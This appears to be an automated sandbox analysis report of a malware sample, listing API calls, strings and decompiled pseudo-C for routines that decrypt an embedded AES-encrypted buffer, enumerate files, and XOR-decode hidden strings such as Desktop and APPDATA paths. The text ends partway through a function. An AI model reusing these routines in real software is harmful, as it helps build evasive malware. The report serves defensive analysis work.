0x00409183
0x00409186
0x00409189
0x00409194
0x00409197
0x00000000
0x00000000
0x00000000
0x00000000
0x0040918b
0x0040918b
0x0040918e
0x00409190
0x00409190
0x00409199
0x00409199
0x0040919b
0x00000000
0x0040919d
0x0040919d
0x004091a0
0x004091c4
0x00000000
0x00000000
0x00000000
0x004091a0
0x0040919b
0x00000000
0x004091a2
0x004091a2
0x004091ad
0x004091b0
0x004091b1
0x004091b7
0x004091b9
0x004091b9
0x00000000
0x00000000
0x00000000
0x00409117
0x00409082
0x004091c6
0x004091c6
0x004091cb
0x004091cc
0x004091cd
0x004091ce
0x004091cf
0x004091d0
0x004091d1
0x004091d6
0x004091dd
0x004091e6
0x004091ed
0x004091f4
0x004091fa
0x004091fc
0x00409201
0x00409207
0x0040920e
0x00409216
0x0040921d
0x0040921f
0x0040922a
0x00409236
0x0040923b
0x00409243
0x00409249
0x00409253
0x00409258
0x0040921d
0x00409263
0x0040926d
0x00000000
0x00409119
0x00409119
0x0040911f
0x0040911f
0x00000000
0x00408fde
0x00408fe3
0x00408fe3
0x00408ef7
0x00408ef7
0x00408efd
0x00408f1a
0x00408f24
0x00408eff
0x00408eff
0x00408f04
0x00408f14
0x00408f14
0x00408efd
0x00000000
0x00000000
0x00000000
0x00406c21
0x00406c11
0x00406c00
0x00000000
0x00000000
0x00000000
0x00406a30
0x00406a20
0x00406a12
0x00000000

APIs

CreateDirectoryA.KERNEL32(0040813E,00000000,298E9DC2,?), ref: 0040684F
GetLastError.KERNEL32 ref: 00406859
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,298E9DC2,?,00000000), ref: 00406B37
__Init_thread_footer.LIBCMT ref: 00406F6C
Sleep.KERNEL32(?,298E9DC2), ref: 00408D5F

Part of subcall function 00402990: Concurrency::cancel_current_task.LIBCPMT ref: 00402AE3

__Init_thread_footer.LIBCMT ref: 0040746E
__Init_thread_footer.LIBCMT ref: 00407928

Strings

\AI\, xrefs: 004073E7
KC^., xrefs: 004078D7
APPDATA, xrefs: 00406B63
.exe, xrefs: 004068BF, 00406D2E, 0040724C, 0040773C, 00407C1C
OCjO, xrefs: 004073F1

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$Concurrency::cancel_current_taskCreateDirectoryErrorFolderLastPathSleep
String ID: .exe$APPDATA$KC^.$OCjO$\AI\
API String ID: 1816155683-1469489693
Opcode ID: 42f0b91edf14db2fdc67ef9be8656bb7482780502be66172b564ace212df0076
Instruction ID: bf5f6c512fa4f3d1ff6270b27b628875754c34fdae461c9e81a75f356b5f0325
Opcode Fuzzy Hash: 42f0b91edf14db2fdc67ef9be8656bb7482780502be66172b564ace212df0076
Instruction Fuzzy Hash: 75E24770A002549BEB29DB28CD447DDBB71AF46308F1082EDD449BB2D2DB799BC4CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00403770 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 232
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00403770(void* __ebx, int __ecx, int __edx, void* __edi, intOrPtr* _a4, void* _a8, intOrPtr _a24, intOrPtr _a28) {
				long* _v8;
				char _v16;
				signed int _v24;
				void _v136;
				long* _v140;
				int _v144;
				char _v148;
				long* _v152;
				int _v156;
				signed int _v160;
				int _v164;
				BYTE* _v168;
				int _v172;
				intOrPtr* _v176;
				int _v180;
				intOrPtr _v220;
				void* __esi;
				void* __ebp;
				signed int _t69;
				signed int _t70;
				void* _t77;
				intOrPtr* _t82;
				char* _t92;
				void* _t94;
				intOrPtr _t95;
				void* _t99;
				int _t100;
				void* _t101;
				BYTE* _t103;
				intOrPtr _t106;
				int _t117;
				void* _t118;
				intOrPtr* _t126;
				void* _t127;
				int _t132;
				intOrPtr _t135;
				int _t138;
				intOrPtr _t140;
				signed int _t145;
				void* _t146;
				intOrPtr* _t147;
				signed int _t149;
				void* _t150;
				void* _t151;
				void* _t152;
				intOrPtr* _t153;
				signed int _t155;
				void* _t157;
				void* _t159;

				_t69 =  *0x43d054; // 0x298e9dc2
				_t70 = _t69 ^ _t155;
				_v24 = _t70;
				 *[fs:0x0] =  &_v16;
				_t117 = __edx;
				_v172 = __edx;
				_v156 = __ecx;
				_v176 = _a4;
				_v8 = 0;
				_t151 = L"Microsoft Enhanced RSA and AES Cryptographic Provider";
				_v160 = _a24 + _a24;
				_t77 = memcpy( &_v136, _t151, 0x1b << 2);
				_t159 = _t157 - 0xa8 + 0xc;
				__imp__CryptAcquireContextW(_t77, 0,  &_v136, 0x18, 0xf0000000, _t70, __edi, _t150, __ebx,  *[fs:0x0], 0x42c2cd, 0xffffffff); // executed
				if(_t77 == 0) {
					L7:
					_t145 = GetLastError();
					CryptReleaseContext(_v140, 0);
				} else {
					_t92 =  &_v148;
					__imp__CryptCreateHash(_v140, 0x800c, 0, 0, _t92); // executed
					if(_t92 == 0) {
						goto L7;
					} else {
						_t94 =  >=  ? _a8 :  &_a8;
						_t147 = _t94;
						_v164 = _t94;
						_t127 = _t147 + 1;
						do {
							_t95 =  *_t147;
							_t147 = _t147 + 1;
							_t168 = _t95;
						} while (_t95 != 0);
						_t149 = _t147 - _t127 + 1;
						_t151 = E0040ED8D(_t117, _t149, _t151, _t168,  ~(0 | _t168 > 0x00000000) | _t149 * 0x00000002);
						_t99 = E004164FC(_t151, _v164, _t149);
						_t159 = _t159 + 0x10;
						__imp__CryptHashData(_v148, _t151, _v160, 0);
						if(_t99 != 0) {
							_t100 =  &_v152;
							__imp__CryptDeriveKey(_v140, 0x660e, _v148, 0, _t100); // executed
							__eflags = _t100;
							if(__eflags != 0) {
								_push(_t117); // executed
								_t101 = E0041626E(); // executed
								_t151 = _t101;
								E00410440(_t151, _v156, _t117);
								_t103 = E0040ED8D(_t117, _t149, _t151, __eflags, 0xa0);
								_t138 = _v172;
								_t145 = 0;
								_t159 = _t159 + 0x14;
								_v168 = _t103;
								_v144 = 0;
								_v156 = 0;
								_v160 = 0;
								__eflags = _t138;
								if(__eflags != 0) {
									_t132 = _t138;
									_t106 = 0xa0 - _t151;
									__eflags = 0xa0;
									_v164 = _t132;
									_v180 = 0xa0;
									while(1) {
										_t117 = 0xa0;
										__eflags = _t106 + _t151 - _t138;
										if(_t106 + _t151 >= _t138) {
											_t117 = _t132;
											_v156 = 1;
										}
										_v144 = _t117;
										E00410440(_v168, _t151, _t117);
										_t159 = _t159 + 0xc;
										__eflags = CryptDecrypt(_v152, 0, _v156, 0, _v168,  &_v144);
										if(__eflags == 0) {
											goto L15;
										}
										E00410440( *_v176 + _t145, _v168, _v144);
										_t145 = _t145 + _v144;
										_t159 = _t159 + 0xc;
										__eflags = _t117 - 0xa0;
										if(__eflags == 0) {
											_t151 = _t151 + _t117;
											_t140 = _v160 + 1;
											_t106 = _v180;
											_t132 = _v164 - _t117;
											__eflags = _t140 - _v172;
											_v160 = _t140;
											_t138 = _v172;
											_v164 = _t132;
											if(__eflags < 0) {
												continue;
											}
										}
										goto L15;
									}
								}
								L15:
								CryptDestroyKey(_v152);
							} else {
								goto L7;
							}
						} else {
							GetLastError();
							_t145 = _t149 | 0xffffffff;
						}
					}
				}
				_t135 = _a28;
				if(_t135 < 0x10) {
					L20:
					 *[fs:0x0] = _v16;
					_pop(_t146);
					_pop(_t152);
					_pop(_t118);
					return E0040EB3F(_t145, _t118, _v24 ^ _t155, _t135, _t146, _t152);
				} else {
					_t126 = _a8;
					_t135 = _t135 + 1;
					_t82 = _t126;
					if(_t135 < 0x1000) {
						L19:
						_push(_t135);
						E0040ED7F(_t126);
						goto L20;
					} else {
						_t126 =  *((intOrPtr*)(_t126 - 4));
						_t135 = _t135 + 0x23;
						if(_t82 - _t126 + 0xfffffffc > 0x1f) {
							E004134A7(_t117, _t135, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t155);
							_push(_t151);
							_t153 = _t126;
							asm("xorps xmm0, xmm0");
							 *_t153 = 0x42e2d4;
							asm("movq [eax], xmm0");
							__eflags = _v220 + 4;
							E0040FEF1(_v220 + 4, _t153 + 4);
							 *_t153 = 0x42e320;
							return _t153;
						} else {
							goto L19;
						}
					}
				}
			}

0x00403787
0x0040378c
0x0040378e
0x00403798
0x0040379e
0x004037a0
0x004037a6
0x004037af
0x004037b5
0x004037cc
0x004037d6
0x004037ed
0x004037ed
0x004037f0
0x004037f8
0x004038ba
0x004038c8
0x004038ca
0x004037fe
0x004037fe
0x00403814
0x0040381c
0x00000000
0x00403822
0x00403829
0x0040382d
0x0040382f
0x00403835
0x00403838
0x00403838
0x0040383a
0x0040383b
0x0040383b
0x00403846
0x0040385d
0x00403867
0x0040386c
0x0040387e
0x00403886
0x00403896
0x004038b0
0x004038b6
0x004038b8
0x004038d5
0x004038d6
0x004038de
0x004038e8
0x004038f5
0x004038fa
0x00403900
0x00403902
0x00403905
0x0040390b
0x00403915
0x0040391f
0x00403925
0x00403927
0x00403932
0x00403934
0x00403934
0x00403936
0x0040393c
0x00403942
0x00403944
0x00403949
0x0040394b
0x0040394d
0x0040394f
0x0040394f
0x00403961
0x00403967
0x0040396c
0x00403992
0x00403994
0x00000000
0x00000000
0x004039ad
0x004039b2
0x004039b8
0x004039bb
0x004039c1
0x004039c9
0x004039d1
0x004039d2
0x004039d8
0x004039da
0x004039e0
0x004039e6
0x004039ec
0x004039f2
0x00000000
0x00000000
0x004039f2
0x00000000
0x004039c1
0x00403942
0x004039f8
0x004039fe
0x00000000
0x00000000
0x00000000
0x00403888
0x00403888
0x0040388e
0x0040388e
0x00403886
0x0040381c
0x00403a04
0x00403a0a
0x00403a34
0x00403a39
0x00403a41
0x00403a42
0x00403a43
0x00403a51
0x00403a0c
0x00403a0c
0x00403a0f
0x00403a10
0x00403a18
0x00403a2a
0x00403a2a
0x00403a2c
0x00000000
0x00403a1a
0x00403a1a
0x00403a1d
0x00403a28
0x00403a52
0x00403a57
0x00403a58
0x00403a59
0x00403a5a
0x00403a5b
0x00403a5c
0x00403a5d
0x00403a5e
0x00403a5f
0x00403a60
0x00403a63
0x00403a64
0x00403a66
0x00403a6d
0x00403a73
0x00403a7a
0x00403a7e
0x00403a86
0x00403a90
0x00000000
0x00000000
0x00000000
0x00403a28
0x00403a18

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,298E9DC2), ref: 004037F0
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403814
_mbstowcs.LIBCMT ref: 00403867
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 0040387E
GetLastError.KERNEL32 ref: 00403888
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 004038B0
GetLastError.KERNEL32 ref: 004038BA
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004038CA
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 0040398C
CryptDestroyKey.ADVAPI32(?), ref: 004039FE
___std_exception_copy.LIBVCRUNTIME ref: 00403A7E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 004037CC, 00403A63

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease___std_exception_copy_mbstowcs
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 4265767208-63410773
Opcode ID: 4b5e54351549d0fa9d80cf72fdf3dfba16e71d39c80505573bf208c294678b43
Instruction ID: 4b0c67ec9982085a3f60a525b5453426e780c309f6f51e15e2d9849bb48b43c0
Opcode Fuzzy Hash: 4b5e54351549d0fa9d80cf72fdf3dfba16e71d39c80505573bf208c294678b43
Instruction Fuzzy Hash: E781A071B00218AFEB209F25CC41B9ABBB9FF45304F4081AAF54DE7281DB759E858F55

Uniqueness

Uniqueness Score: -1.00%

Function 00404490 Relevance: 19.9, APIs: 7, Strings: 4, Instructions: 644
fileCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00404490(void* __ebx, void* __ecx, void* __edx) {
				intOrPtr _v8;
				int _v16;
				int _v24;
				int _v28;
				signed int _v32;
				int _v36;
				int _v40;
				signed int _v44;
				signed int _v48;
				int _v52;
				signed int _v56;
				char _v60;
				char _v64;
				long _v68;
				int _v72;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				long _v88;
				char _v89;
				char _v90;
				char _v92;
				char _v96;
				long _v100;
				int _v104;
				char _v105;
				signed int _v112;
				intOrPtr _v116;
				int _v120;
				long _v124;
				int _v128;
				int _v144;
				char _v308;
				char _v312;
				char _v316;
				struct _WIN32_FIND_DATAA _v412;
				char _v416;
				intOrPtr _v440;
				char _v456;
				signed int _v464;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				int _v560;
				char _v564;
				int _v568;
				char _v576;
				signed int _v584;
				intOrPtr _v1592;
				int _v1600;
				int _v1604;
				long _v1608;
				int _v1612;
				int _v1628;
				struct HKL__* _v2116;
				signed int _v2120;
				int _v2124;
				int _v2160;
				intOrPtr _v2180;
				char _v2188;
				signed int _v2192;
				intOrPtr _v2204;
				intOrPtr _v2208;
				signed int _v2212;
				intOrPtr _v2248;
				intOrPtr _v2252;
				signed int _v2304;
				char _v2554;
				short _v2556;
				int* _v2572;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t300;
				signed int _t301;
				void* _t309;
				int _t310;
				intOrPtr _t313;
				signed int _t320;
				signed int _t321;
				intOrPtr _t324;
				signed int _t325;
				intOrPtr* _t329;
				signed int _t330;
				intOrPtr _t335;
				signed char _t336;
				signed int _t337;
				signed int _t339;
				intOrPtr _t340;
				signed char _t341;
				signed int _t342;
				signed int _t344;
				intOrPtr _t345;
				signed int _t346;
				signed int _t348;
				int _t351;
				signed int _t357;
				signed int _t358;
				signed int _t361;
				int _t364;
				intOrPtr* _t366;
				int _t370;
				int _t372;
				signed int _t378;
				signed int _t379;
				intOrPtr _t381;
				intOrPtr _t390;
				signed int _t396;
				short _t398;
				signed int _t403;
				signed int _t409;
				intOrPtr _t414;
				signed char _t415;
				signed char* _t416;
				void* _t421;
				long _t422;
				intOrPtr _t423;
				int _t424;
				intOrPtr _t428;
				intOrPtr _t429;
				int _t430;
				int _t434;
				void* _t438;
				signed int _t439;
				void* _t445;
				signed int _t455;
				int _t462;
				signed int _t467;
				void* _t478;
				intOrPtr _t482;
				void* _t489;
				signed int _t490;
				void* _t491;
				void* _t495;
				char* _t499;
				int* _t503;
				int _t506;
				long _t508;
				void* _t514;
				void* _t516;
				void* _t518;
				int* _t520;
				signed int _t522;
				int _t523;
				void* _t524;
				signed int _t528;
				signed int _t531;
				intOrPtr* _t537;
				intOrPtr* _t540;
				signed char* _t544;
				intOrPtr* _t548;
				intOrPtr* _t552;
				int _t560;
				signed int _t566;
				int _t568;
				int _t571;
				signed int* _t572;
				signed int _t582;
				intOrPtr* _t583;
				signed int _t589;
				int _t593;
				signed int _t597;
				intOrPtr _t598;
				void* _t602;
				void* _t603;
				char _t604;
				long _t608;
				int _t611;
				void* _t613;
				long _t615;
				long _t616;
				int* _t617;
				int* _t618;
				int* _t619;
				long _t620;
				void* _t621;
				void* _t625;
				signed char* _t626;
				void* _t627;
				void* _t630;
				void* _t631;
				void* _t632;
				int _t633;
				void* _t634;
				int _t635;
				void* _t636;
				signed int _t637;
				void* _t638;
				signed int _t639;
				void* _t640;
				int* _t641;
				void* _t642;
				void* _t643;
				void* _t644;
				void* _t645;
				int _t646;
				signed char* _t647;
				void* _t648;
				void* _t649;
				void* _t650;
				int _t651;
				void* _t652;
				void* _t653;
				signed int _t654;
				void* _t656;
				void* _t657;
				int _t658;
				void* _t661;
				signed int _t664;
				signed int _t667;
				signed int _t670;
				signed int _t672;
				signed int _t674;
				void* _t676;
				signed int _t679;
				void* _t680;
				signed int _t686;
				void* _t687;
				int* _t688;
				int* _t689;
				int* _t690;
				int* _t691;
				int* _t692;
				int* _t693;
				signed int _t699;
				signed int _t700;
				void* _t703;
				signed int _t705;

				_push(__ebx);
				_t516 = _t676;
				_t679 = (_t676 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t516 + 4));
				_t664 = _t679;
				_push(0xffffffff);
				_push(0x42c448);
				_push( *[fs:0x0]);
				_push(_t516);
				_t680 = _t679 - 0x188;
				_t300 =  *0x43d054; // 0x298e9dc2
				_t301 = _t300 ^ _t664;
				_v32 = _t301;
				_push(_t643);
				_push(_t632);
				_push(_t301);
				 *[fs:0x0] =  &_v24;
				_v16 = 0;
				asm("xorps xmm0, xmm0");
				asm("movq [ebp-0x20], xmm0");
				_v36 = 0;
				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v16 = 1;
				E0040BB10(_t516,  &_v92, __edx, _t632, __ecx);
				_v16 = 2;
				_t610 = _v72;
				_t528 = _v76;
				if(_v72 - _t528 < 2) {
					_v416 = 0;
					E00402990(_t516,  &_v92, _t632, _t643, 2, _v416, "\\*", 2);
				} else {
					_v76 = _t528 + 2;
					_t610 = 0x2a5c;
					_t514 =  >=  ? _v92 :  &_v92;
					 *((short*)(_t514 + _t528)) = 0x2a5c;
					 *((char*)(_t514 + _t528 + 2)) = 0;
				}
				_t308 =  >=  ? _v92 :  &_v92;
				_t309 = FindFirstFileA( >=  ? _v92 :  &_v92,  &_v412); // executed
				_t644 = _t309;
				if(_t644 == 0xffffffff) {
					L16:
					_t310 = _v40;
					_t633 = _v44;
					_v416 = _t310;
					if(_t633 == _t310) {
						L24:
						_t633 = 0;
						goto L25;
					} else {
						while(1) {
							E0040BB10(_t516,  &_v68, _t610, _t633, _t633);
							_t488 =  >=  ?  *((void*)(_t516 + 8)) : _t516 + 8;
							_t644 = _v68;
							_t612 = _v52;
							_t601 =  >=  ? _t644 :  &_v68;
							_t489 = E004028A0( >=  ? _t644 :  &_v68, _v52,  >=  ? _t644 :  &_v68,  >=  ?  *((void*)(_t516 + 8)) : _t516 + 8,  *((intOrPtr*)(_t516 + 0x18)));
							_t680 = _t680 + 0xc;
							_t490 = _v48;
							if(_t489 != 0xffffffff) {
								break;
							}
							if(_t490 < 0x10) {
								L23:
								_t633 = _t633 + 0x18;
								if(_t633 != _v416) {
									continue;
								} else {
									goto L24;
								}
							} else {
								_t63 = _t490 + 1; // 0x11
								_t603 = _t63;
								_t495 = _t644;
								if(_t603 < 0x1000) {
									L22:
									_push(_t603);
									E0040ED7F(_t644);
									_t680 = _t680 + 8;
									goto L23;
								} else {
									_t644 =  *(_t644 - 4);
									_t536 = _t603 + 0x23;
									if(_t495 - _t644 + 0xfffffffc > 0x1f) {
										goto L45;
									} else {
										goto L22;
									}
								}
							}
							goto L158;
						}
						__eflags = _t490 - 0x10;
						if(__eflags < 0) {
							L41:
							_t633 = 1;
							L25:
							_t611 = _v72;
							if(_t611 < 0x10) {
								L29:
								_t531 = _v44;
								_v76 = 0;
								_v72 = 0xf;
								_v92 = 0;
								if(_t531 == 0) {
									L33:
									_t612 =  *(_t516 + 0x1c);
									if(_t612 < 0x10) {
										L43:
										 *[fs:0x0] = _v24;
										_pop(_t634);
										_pop(_t645);
										return E0040EB3F(_t633, _t516, _v32 ^ _t664, _t612, _t634, _t645);
									} else {
										_t536 =  *((intOrPtr*)(_t516 + 8));
										_t612 = _t612 + 1;
										_t313 = _t536;
										if(_t612 < 0x1000) {
											L42:
											_push(_t612);
											E0040ED7F(_t536);
											goto L43;
										} else {
											_t536 =  *((intOrPtr*)(_t536 - 4));
											_t612 = _t612 + 0x23;
											if(_t313 - _t536 + 0xfffffffc > 0x1f) {
												goto L44;
											} else {
												goto L42;
											}
										}
									}
								} else {
									_push(_t531);
									E0040D370(_t531, _v40, _t633, _t644);
									_t644 = _v44;
									_t680 = _t680 + 4;
									_t612 = 0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2;
									_t478 = _t644;
									_t597 = (0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2) + ((0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2)) * 2 << 3;
									if(_t597 < 0x1000) {
										L32:
										_push(_t597);
										E0040ED7F(_t644);
										_t680 = _t680 + 8;
										_v44 = 0;
										_v40 = 0;
										_v36 = 0;
										goto L33;
									} else {
										_t644 =  *(_t644 - 4);
										_t536 = _t597 + 0x23;
										if(_t478 - _t644 + 0xfffffffc > 0x1f) {
											goto L44;
										} else {
											goto L32;
										}
									}
								}
							} else {
								_t598 = _v92;
								_t630 = _t611 + 1;
								_t482 = _t598;
								if(_t630 < 0x1000) {
									L28:
									_push(_t630);
									E0040ED7F(_t598);
									_t680 = _t680 + 8;
									goto L29;
								} else {
									_t536 =  *((intOrPtr*)(_t598 - 4));
									_t612 = _t630 + 0x23;
									if(_t482 -  *((intOrPtr*)(_t598 - 4)) + 0xfffffffc > 0x1f) {
										goto L44;
									} else {
										goto L28;
									}
								}
							}
						} else {
							_t89 = _t490 + 1; // 0x11
							_t602 = _t89;
							_t491 = _t644;
							__eflags = _t602 - 0x1000;
							if(__eflags < 0) {
								L40:
								_push(_t602);
								E0040ED7F(_t644);
								_t680 = _t680 + 8;
								goto L41;
							} else {
								_t644 =  *(_t644 - 4);
								_t536 = _t602 + 0x23;
								__eflags = _t491 - _t644 + 0xfffffffc - 0x1f;
								if(__eflags > 0) {
									goto L45;
								} else {
									goto L40;
								}
							}
						}
					}
				} else {
					_t633 = FindNextFileA;
					goto L5;
					do {
						L6:
						_t604 =  *_t499;
						_t499 = _t499 + 1;
					} while (_t604 != 0);
					E004026C0(_t516,  &_v68,  &(_v412.cFileName), _t499 - _t631);
					_v16 = 3;
					_t503 = _v40;
					if(_t503 == _v36) {
						_push( &_v68);
						_push(_t503);
						E0040CDD0(_t516,  &_v44, _t633, _t644); // executed
						_t610 = _v48;
					} else {
						asm("movups xmm0, [ebp-0x38]");
						 *_t503 = 0;
						_t610 = 0xf;
						_v68 = 0;
						asm("movups [eax], xmm0");
						asm("movq xmm0, [ebp-0x28]");
						asm("movq [eax+0x10], xmm0");
						_v40 = _v40 + 0x18;
					}
					_v16 = 2;
					if(_t610 < 0x10) {
						L14:
						_t506 = FindNextFileA(_t644,  &_v412); // executed
						if(_t506 != 0) {
							L5:
							_t499 =  &(_v412.cFileName);
							_v68 = 0;
							_v52 = 0;
							_t631 = _t499 + 1;
							_v48 = 0xf;
							_v68 = 0;
							goto L6;
						} else {
							FindClose(_t644); // executed
							goto L16;
						}
					} else {
						_t608 = _v68;
						_t610 = _t610 + 1;
						_t508 = _t608;
						if(_t610 < 0x1000) {
							L13:
							_push(_t610);
							E0040ED7F(_t608);
							_t680 = _t680 + 8;
							goto L14;
						} else {
							_t536 =  *((intOrPtr*)(_t608 - 4));
							_t612 = _t610 + 0x23;
							if(_t508 -  *((intOrPtr*)(_t608 - 4)) + 0xfffffffc > 0x1f) {
								L44:
								E004134A7(_t516, _t612, __eflags);
								L45:
								E004134A7(_t516, _t612, __eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t516);
								_t518 = _t680;
								_t686 = (_t680 - 0x00000008 & 0xfffffff8) + 4;
								_push(_t664);
								_v440 =  *((intOrPtr*)(_t518 + 4));
								_t667 = _t686;
								_push(0xffffffff);
								_push(0x42c495);
								_push( *[fs:0x0]);
								_push(_t518);
								_t687 = _t686 - 0x50;
								_t320 =  *0x43d054; // 0x298e9dc2
								_t321 = _t320 ^ _t667;
								_v464 = _t321;
								_push(_t644);
								_push(_t633);
								_push(_t321);
								 *[fs:0x0] =  &_v456;
								_v480 = 0x7c6b7d7b;
								_v476 = 0x68617c7e;
								_v472 = 0x2e6b6267;
								_t635 =  *( *[fs:0x2c]);
								_t324 =  *0x450ecc; // 0x8000000b
								__eflags = _t324 -  *((intOrPtr*)(_t635 + 4));
								if(_t324 >  *((intOrPtr*)(_t635 + 4))) {
									E0040EEC8(_t324, 0x450ecc);
									_t687 = _t687 + 4;
									__eflags =  *0x450ecc - 0xffffffff;
									if(__eflags == 0) {
										asm("movq xmm0, [ebp-0x24]");
										asm("movq [0x450e50], xmm0");
										 *0x450e58 = _v52;
										E0040F1DA(_t536, __eflags, 0x42ce40);
										E0040EE7E(0x450ecc);
										_t687 = _t687 + 8;
									}
								}
								__eflags =  *0x450e5b;
								if( *0x450e5b != 0) {
									_t467 = 0;
									__eflags = 0;
									do {
										 *(_t467 + 0x450e50) =  *(_t467 + 0x450e50) ^ 0x0000002e;
										_t467 = _t467 + 1;
										__eflags = _t467 - 0xc;
									} while (_t467 < 0xc);
								}
								_t537 = 0x450e50;
								_v120 = 0;
								_v104 = 0;
								_v100 = 0xf;
								_v120 = 0;
								_t108 = _t537 + 1; // 0x450e51
								_t613 = _t108;
								do {
									_t325 =  *_t537;
									_t537 = _t537 + 1;
									__eflags = _t325;
								} while (_t325 != 0);
								E004026C0(_t518,  &_v120, 0x450e50, _t537 - _t613);
								_v28 = 0;
								__eflags = _v100 - 0x10;
								_t328 =  >=  ? _v120 :  &_v120;
								_t329 = E00418AE5(_t518, _t635, _t644, _v100 - 0x10,  >=  ? _v120 :  &_v120);
								_t614 = _t329;
								_v88 = 0;
								_t540 = _t329;
								_v72 = 0;
								_t688 = _t687 + 4;
								_v68 = 0xf;
								_v88 = 0;
								_t646 = _t540 + 1;
								do {
									_t330 =  *_t540;
									_t540 = _t540 + 1;
									__eflags = _t330;
								} while (_t330 != 0);
								E004026C0(_t518,  &_v88, _t614, _t540 - _t646);
								_v28 = 2;
								_t615 = _v100;
								__eflags = _t615 - 0x10;
								if(_t615 < 0x10) {
									L60:
									_t616 = _v68;
									_t543 = _v72;
									_v104 = 0;
									_v100 = 0xf;
									_v120 = 0;
									_push(8);
									_push("\\Desktop");
									__eflags = _t616 - _t543 - 8;
									if(_t616 - _t543 < 8) {
										_v96 = 0;
										_t543 =  &_v88;
										_push(_v96);
										_push(8);
										E00402990(_t518,  &_v88, _t635, _t646);
									} else {
										__eflags = _t616 - 0x10;
										_t130 = _t543 + 8; // 0x8
										_t660 =  >=  ? _v88 :  &_v88;
										_t661 = ( >=  ? _v88 :  &_v88) + _t543;
										_v72 = _t130;
										_push(_t661);
										E00410440();
										_t688 =  &(_t688[3]);
										 *((char*)(_t661 + 8)) = 0;
									}
									_t335 =  *0x450ee0; // 0x8000000c
									_v56 = 0x4b426d6d;
									_v52 = 0x5c4b404f;
									_v89 = 0x2e;
									__eflags = _t335 -  *((intOrPtr*)(_t635 + 4));
									if(_t335 >  *((intOrPtr*)(_t635 + 4))) {
										E0040EEC8(_t335, 0x450ee0);
										_t688 =  &(_t688[1]);
										__eflags =  *0x450ee0 - 0xffffffff;
										if(__eflags == 0) {
											asm("movq xmm0, [ebp-0x20]");
											asm("movq [0x450f24], xmm0");
											 *0x450f2c = _v89;
											E0040F1DA(_t543, __eflags, 0x42ce20);
											E0040EE7E(0x450ee0);
											_t688 =  &(_t688[2]);
										}
									}
									_t336 =  *0x450f2c; // 0x0
									__eflags = _t336;
									if(_t336 != 0) {
										 *0x450f24 =  *0x450f24 ^ 0x0000002e;
										 *0x450f25 =  *0x450f25 ^ 0x0000002e;
										 *0x450f26 =  *0x450f26 ^ 0x0000002e;
										 *0x450f27 =  *0x450f27 ^ 0x0000002e;
										 *0x450f28 =  *0x450f28 ^ 0x0000002e;
										 *0x450f29 =  *0x450f29 ^ 0x0000002e;
										 *0x450f2a =  *0x450f2a ^ 0x0000002e;
										 *0x450f2b =  *0x450f2b ^ 0x0000002e;
										_t455 = _t336 ^ 0x0000002e;
										__eflags = _t455;
										 *0x450f2c = _t455;
									}
									_t689 = _t688 - 0x18;
									_t544 = 0x450f24;
									_t617 = _t689;
									_t142 =  &(_t544[1]); // 0x450f25
									_t647 = _t142;
									 *_t617 = 0;
									_t617[4] = 0;
									_t617[5] = 0xf;
									do {
										_t337 =  *_t544;
										_t544 =  &(_t544[1]);
										__eflags = _t337;
									} while (_t337 != 0);
									E004026C0(_t518, _t617, 0x450f24, _t544 - _t647);
									_t339 = E00404490(_t518,  &_v88, _t617); // executed
									_t690 =  &(_t689[6]);
									_v89 = 0x2e;
									__eflags = _t339;
									_t340 =  *0x450f84; // 0x8000000d
									_v90 = _t339 != 0;
									__eflags = _t340 -  *((intOrPtr*)(_t635 + 4));
									if(_t340 >  *((intOrPtr*)(_t635 + 4))) {
										E0040EEC8(_t340, 0x450f84);
										_t690 =  &(_t690[1]);
										__eflags =  *0x450f84 - 0xffffffff;
										if(__eflags == 0) {
											asm("movaps xmm0, [0x439d60]");
											asm("movups [0x450e8c], xmm0");
											 *0x450e9c = _v89;
											E0040F1DA( &_v88, __eflags, 0x42ce00);
											E0040EE7E(0x450f84);
